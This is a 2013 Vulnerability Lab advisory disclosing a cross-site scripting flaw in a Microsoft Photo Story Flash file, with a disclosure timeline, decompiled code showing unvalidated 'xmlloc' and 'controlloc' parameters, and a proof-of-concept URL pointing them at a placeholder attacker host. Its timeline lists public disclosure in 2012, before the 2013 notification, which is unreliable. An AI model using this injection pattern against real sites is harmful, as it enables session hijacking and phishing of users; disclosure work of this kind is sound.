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Microsoft PhotoStory - CS Cross Site Scripting Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Thu, 12 Dec 2013 16:36:00 +0100

Document Title:
===============
Microsoft PhotoStory - CS Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1012

Microsoft Security Response Center (MSRC) ID: 15155


Release Date:
=============
2013-12-12


Vulnerability Laboratory ID (VL-ID):
====================================
1012


Common Vulnerability Scoring System:
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2.1


Product & Service Introduction:
===============================
Microsoft Online Services is Microsoft`s hosted-software offering and a component of their software plus services 
strategy.
Microsoft Online Services are hosted by Microsoft and sold ``with`` Microsoft partners. The suite includes Exchange 
Online, 
SharePoint Online, Office Communications Online, Microsoft Forefront, and Microsoft Office Live Meeting. For 
businesses, 
the Software-plus-Services approach enables organizations to access the capabilities of enterprise software through 
on-premises 
servers, as online services, or a combination of both, depending on specific business requirements. Services also 
provide the 
option to add complementary capabilities that enhance on-premises server software and simplify system management and 
maintenance.

(Copy of the vendor Homepage: https://microsoftonline.com )


Abstract Advisory Information:
==============================
An independent Vulnerability Laboratory Research Team discovered a client-side cross site scripting in flash component 
of Microsofts Website Application.


Vulnerability Disclosure Timeline:
==================================
2013-07-14:     Researcher Notification & Coordination (Muhammad A.S.)
2013-07-15:     Vendor Notification (Microsoft Security Response Center - Security Program)
2013-12-11:     Vendor Response/Feedback (Microsoft Security Response Center - Security Program)
2013-12-11:     Vendor Fix/Patch (Microsoft Developer Team)
2012-12-12:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Photo Story - Flash 2013 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An independent vulnerability laboratory researcher discovered a client side input cross site in flash component of 
Microsofts Website Application.
The vulnerability allows remote attacker to execute malicious non-persistent script on client side.

The vulnerability is located in the flash photo-story module when processing the load 2 different manipulated xmlloc 
parameter via GET method.
The client-side script code will be executed in the flash web application layout as frame. During investigation it has 
been revealed 
that a remote attacker can manipulate both entry points  to inject his own html and java-script.

Exploitation of the vulnerability requires no privilege application user account but low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent malware 
injects, persistent external 
redirects and manipulation of affected module- or application context.

Vulnerable Module(s):
                                [+] photo-story

Vulnerable File(s):
                                [+] photostory3.swf

Vulnerable Parameter(s):
                                [+] xmlloc


Proof of Concept (PoC):
=======================
The client side cross site scripting vulnerability can be exploited by remote attacker with low privilege application 
user account and low or medium required user interaction. For demonstration or reproduce ...

PoC: Generated Source Code

} // End of the function
$VERSION = "XXX_21118_0000";
var CONTROL_FILENAME = _root.controlloc;   <<<xml file being included without any validation
var XML_FILENAME = _root.xmlloc;           <<<xml file being included without any validation 
initPlayer();
buffer = 0.500000;
// [Action in Frame 3]


POC :
http://www.microsoft.com/austria/kmu/flash/photo-story/photostory3.swf
?xmlloc=http://www.ATTACKERWEBSTTE---.com/poc/ms/Schritt_fuer_Schritt.xml&controlloc=http://www.ATTACKERWEBSTTE---.com/poc/ms/control.xml


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction and parse of the xmlloc GET parameter request.
Parse also the affected output listing in the main module of the online service.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is estimated as medium(-).


Credits & Authors:
==================
Independent Laboratory Researcher - Muhammad A.S. [ahmed.sdd () gmail com]


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